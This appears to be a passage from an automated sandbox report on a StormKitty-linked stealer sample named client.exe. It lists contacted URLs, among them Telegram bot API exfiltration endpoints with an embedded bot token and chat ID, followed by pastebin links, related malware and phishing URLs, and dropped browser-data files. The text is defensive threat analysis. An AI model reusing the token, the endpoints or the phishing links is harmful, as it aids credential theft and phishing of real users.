https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	client.exe	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org	client.exe, 00000000.00000002.4492278426.0000000003085000.00000004.00000800.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	client.exe	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://api.telegram.orgD	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pastebin.comd	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmpD4C4.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://pastebin.com/raw/7B75u64Bd	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://github.com/LimerBoy/StormKitty	client.exe	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=60997	client.exe, 00000000.00000002.4492278426.00000000030DE000.00000004.00000800.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/LimerBoy/StormKitty0&mq	client.exe, 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	tmpD4C4.tmp.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://api.mylnikov.org	client.exe, 00000000.00000002.4492278426.0000000003058000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://api.telegram.orgd	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp, client.exe, 00000000.00000002.4492278426.0000000003696000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	tmpD4C4.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/file/bot	client.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://api.telegram.org	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp, client.exe, 00000000.00000002.4492278426.0000000003696000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	client.exe, 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	false	URL Reputation: safe	unknown
https://pastebin.com	client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
104.16.185.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
172.67.196.114	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1511174
Start date and time:	2024-09-14 05:41:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	client.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@17/115@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 125 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:42:08	API Interceptor	10866476x Sleep call for process: client.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
149.154.167.220	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	0098408474798_AWB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Tpnit.exe	Get hash	malicious	Snake Keylogger	Browse
	ENQUIRY FOR QUOTATION REF.NO-2009008766.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rShippingdocuments.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	purchase order.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	DHL AWB 38576856949.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	NEW ORDER PI_PS3004587655021-docx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	(RFQ-11345).exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.16.185.241	Request for Quotation_1.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	out.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	BTC.exe	Get hash	malicious	AsyncRAT, Rezlt, StormKitty, VenomRAT, Vermin Keylogger, WorldWind Stealer, XWorm	Browse	icanhazip.com/
	Client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	SecuriteInfo.com.MSIL.MassLogger-G.1448.1172.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	22.08.2024.exe	Get hash	malicious	Xmrig	Browse	icanhazip.com/
	vYz1Z2heor.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	WinRAR 7.01 Pro.exe	Get hash	malicious	PureLog Stealer, WorldWind Stealer	Browse	icanhazip.com/
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse	icanhazip.com/
	eEo6DAcnnx.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	icanhazip.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	GKrKPXOkdF.zsb.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	bdsBbxwPyV.ena.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	fblXRRCHON.pos.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	GmsiIZXruf.hos.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	file.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse	104.20.4.235
	file.exe	Get hash	malicious	DarkTortilla	Browse	104.20.3.235
	file.exe	Get hash	malicious	MicroClip, RedLine	Browse	104.20.3.235
	RHUENHera1.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.4.235
	66dcad8f5f33a_crypted.exe	Get hash	malicious	MicroClip, RedLine	Browse	104.20.4.235
api.mylnikov.org	BTC.exe	Get hash	malicious	AsyncRAT, Rezlt, StormKitty, VenomRAT, Vermin Keylogger, WorldWind Stealer, XWorm	Browse	172.67.196.114
	client2.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	Client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	vYz1Z2heor.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	WinRAR 7.01 Pro.exe	Get hash	malicious	PureLog Stealer, WorldWind Stealer	Browse	104.21.44.66
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse	104.21.44.66
	eEo6DAcnnx.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	83MZfLKh7D.exe	Get hash	malicious	AsyncRAT, Discord Token Stealer, Luca Stealer, MicroClip, RedLine	Browse	104.21.44.66
	viVOqZjAT0.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	LisectAVT_2403002B_4.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse	172.67.196.114
api.telegram.org	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	0098408474798_AWB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Tpnit.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	ENQUIRY FOR QUOTATION REF.NO-2009008766.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rShippingdocuments.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	purchase order.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL AWB 38576856949.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NEW ORDER PI_PS3004587655021-docx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	(RFQ-11345).exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
icanhazip.com	SecuriteInfo.com.Trojan.PWS.Siggen3.38160.4541.30793.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	Enquiry.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.184.241
	Demande de devis.Quote Request.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.184.241
	Request for Quotation_1.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	out.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	BTC.exe	Get hash	malicious	AsyncRAT, Rezlt, StormKitty, VenomRAT, Vermin Keylogger, WorldWind Stealer, XWorm	Browse	104.16.185.241
	client2.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	Client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.185.241
	SecuriteInfo.com.MSIL.MassLogger-G.1448.1172.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	22.08.2024.exe	Get hash	malicious	Xmrig	Browse	104.16.185.241

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	0098408474798_AWB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	Tpnit.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	cHQg24hABF.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, XWorm, zgRAT	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	ENQUIRY FOR QUOTATION REF.NO-2009008766.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rShippingdocuments.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%7A%6F%71%7A%71%2E%6F%72%67%2F%61%74%74%2F%61%74%74%2FLZH2gvcseOdSTVo1rdoVRIuO/amZhbGNrZUBraWxjb3lnbG9iYWxmb29kcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.21.78.226
	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bfin%C2%ADcaa%C2%ADin%C2%ADa%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUa51gHNn5MTLdsCceMMGWdci/ZmVydGlsaXplckBjZGZhLmNhLmdvdg==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	172.67.74.152
	https://metiamaskiwallett.gitbook.io/	Get hash	malicious	Unknown	Browse	104.18.40.47
	http://pro-ciine-base.gitbook.io/	Get hash	malicious	Unknown	Browse	172.64.146.167
	http://cloud-gs28iiow3-walletconnect1.vercel.app/sign-in/	Get hash	malicious	Unknown	Browse	104.18.142.119
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	104.18.86.42
	http://metasamsk-uswallt.gitbook.io/	Get hash	malicious	Unknown	Browse	104.16.117.116
	http://bitter-disk-74b0.jade1018.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.21.16.74
	https://metheimasskieloginie.gitbook.io/	Get hash	malicious	Unknown	Browse	104.16.117.116
CLOUDFLARENETUS	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%7A%6F%71%7A%71%2E%6F%72%67%2F%61%74%74%2F%61%74%74%2FLZH2gvcseOdSTVo1rdoVRIuO/amZhbGNrZUBraWxjb3lnbG9iYWxmb29kcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.21.78.226
	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bfin%C2%ADcaa%C2%ADin%C2%ADa%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUa51gHNn5MTLdsCceMMGWdci/ZmVydGlsaXplckBjZGZhLmNhLmdvdg==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	172.67.74.152
	https://metiamaskiwallett.gitbook.io/	Get hash	malicious	Unknown	Browse	104.18.40.47
	http://pro-ciine-base.gitbook.io/	Get hash	malicious	Unknown	Browse	172.64.146.167
	http://cloud-gs28iiow3-walletconnect1.vercel.app/sign-in/	Get hash	malicious	Unknown	Browse	104.18.142.119
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	104.18.86.42
	http://metasamsk-uswallt.gitbook.io/	Get hash	malicious	Unknown	Browse	104.16.117.116
	http://bitter-disk-74b0.jade1018.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.21.16.74
	https://metheimasskieloginie.gitbook.io/	Get hash	malicious	Unknown	Browse	104.16.117.116
CLOUDFLARENETUS	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%7A%6F%71%7A%71%2E%6F%72%67%2F%61%74%74%2F%61%74%74%2FLZH2gvcseOdSTVo1rdoVRIuO/amZhbGNrZUBraWxjb3lnbG9iYWxmb29kcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.21.78.226
	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bfin%C2%ADcaa%C2%ADin%C2%ADa%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUa51gHNn5MTLdsCceMMGWdci/ZmVydGlsaXplckBjZGZhLmNhLmdvdg==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	172.67.74.152
	https://metiamaskiwallett.gitbook.io/	Get hash	malicious	Unknown	Browse	104.18.40.47
	http://pro-ciine-base.gitbook.io/	Get hash	malicious	Unknown	Browse	172.64.146.167
	http://cloud-gs28iiow3-walletconnect1.vercel.app/sign-in/	Get hash	malicious	Unknown	Browse	104.18.142.119
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	104.18.86.42
	http://metasamsk-uswallt.gitbook.io/	Get hash	malicious	Unknown	Browse	104.16.117.116
	http://bitter-disk-74b0.jade1018.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.21.16.74
	https://metheimasskieloginie.gitbook.io/	Get hash	malicious	Unknown	Browse	104.16.117.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%7A%6F%71%7A%71%2E%6F%72%67%2F%61%74%74%2F%61%74%74%2FLZH2gvcseOdSTVo1rdoVRIuO/amZhbGNrZUBraWxjb3lnbG9iYWxmb29kcy5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	https://procoinbaselogin.iwopop.com/	Get hash	malicious	Unknown	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	http://hamouda0-t3-zabi.blogspot.com.es/	Get hash	malicious	Unknown	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	http://metasamsk-uswallt.gitbook.io/	Get hash	malicious	Unknown	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	http://bafybeieubbdk6tipjqxnm5i6qkoynxds3ers6m3oohr525ku4i4s5ccmz4.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	https://ranjitkumarmehta1.github.io/netflix/	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	https://uspsservicetrack.blogspot.ch/	Get hash	malicious	Unknown	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	https://webmaillshavv.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 149.154.167.220 172.67.196.114
	http://lexicographical.fun/	Get hash	malicious	Unknown	Browse	104.20.3.235 149.154.167.220 172.67.196.114

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:Kdn:Kd
MD5:	006F52E9102A8D3BE2FE5614F42BA989
SHA1:	F76B2EA6B45EFF3BC8E4399145CC17A0601F5C8D
SHA-256:	80C3CD40FA35F9088B8741BD8BE6153DE05F661CFEEB4625FFBF5F4A6C3C02C4
SHA-512:	E0B163E4414D0090558B64908866C553E71F8C3ABA2CD482D5E1490B8AB6362B3B3C6A2648C316CD94347A53BFA4EF998295B241E55F71D678914BCC94022945
Malicious:	false
Reputation:	low
Preview:	168

C:\Users\user\AppData\Local\Temp\places.raw

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3B1.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3D1.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3E2.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3F2.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3F3.tmp.dat

Download File

Process:	C:\Users\user\Desktop\client.exe
